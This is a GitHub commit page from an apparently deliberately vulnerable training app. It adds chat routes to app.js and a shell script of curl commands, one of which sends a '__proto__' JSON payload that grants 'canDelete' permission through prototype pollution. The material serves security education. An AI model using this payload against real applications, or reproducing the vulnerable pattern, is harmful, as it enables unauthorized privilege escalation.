Skip to content

Commit 4093e67

Browse files
Kirill89lirantal
authored andcommitted
feat: prototype-pollution vulnerable chat app (snyk-labs#575)
1 parent 921250b commit 4093e67

File tree

5 files changed

+461
-294
lines changed

5 files changed

+461
-294
lines changed

app.js

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -56,6 +56,9 @@ app.get('/edit/:id', routes.edit);
5656
app.post('/update/:id', routes.update);
5757
app.post('/import', routes.import);
5858
app.get('/about_new', routes.about_new);
59+
app.get('/chat', routes.chat.get);
60+
app.put('/chat', routes.chat.add);
61+
app.delete('/chat', routes.chat.delete);
5962
// Static
6063
app.use(st({ path: './public', url: '/public' }));
6164

exploits/prototype-pollution.sh

Lines changed: 38 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,38 @@
1+
# Working via curl
2+
3+
if [ -z "$GOOF_HOST" ]; then
4+
export GOOF_HOST=http://localhost:3001
5+
fi
6+
7+
# Read messages
8+
c1()
9+
{
10+
curl --request GET --url "$GOOF_HOST/chat"
11+
}
12+
13+
# Send message
14+
c2()
15+
{
16+
curl --request PUT \
17+
--url "$GOOF_HOST/chat" \
18+
--header 'content-type: application/json' \
19+
--data '{"auth": {"name": "user", "password": "pwd"}, "message": {"text": "Hi!"}}'
20+
}
21+
22+
# Gain permissions
23+
c3()
24+
{
25+
curl --request PUT \
26+
--url "$GOOF_HOST/chat" \
27+
--header 'content-type: application/json' \
28+
--data '{"auth": {"name": "user", "password": "pwd"}, "message": { "text": "😈", "__proto__": {"canDelete": true}}}'
29+
}
30+
31+
# Delete message
32+
c4()
33+
{
34+
curl --request DELETE \
35+
--url "$GOOF_HOST/chat" \
36+
--header 'content-type: application/json' \
37+
--data '{"auth": {"name": "user", "password": "pwd"}, "messageId": 1}'
38+
}

0 commit comments

Comments
 (0)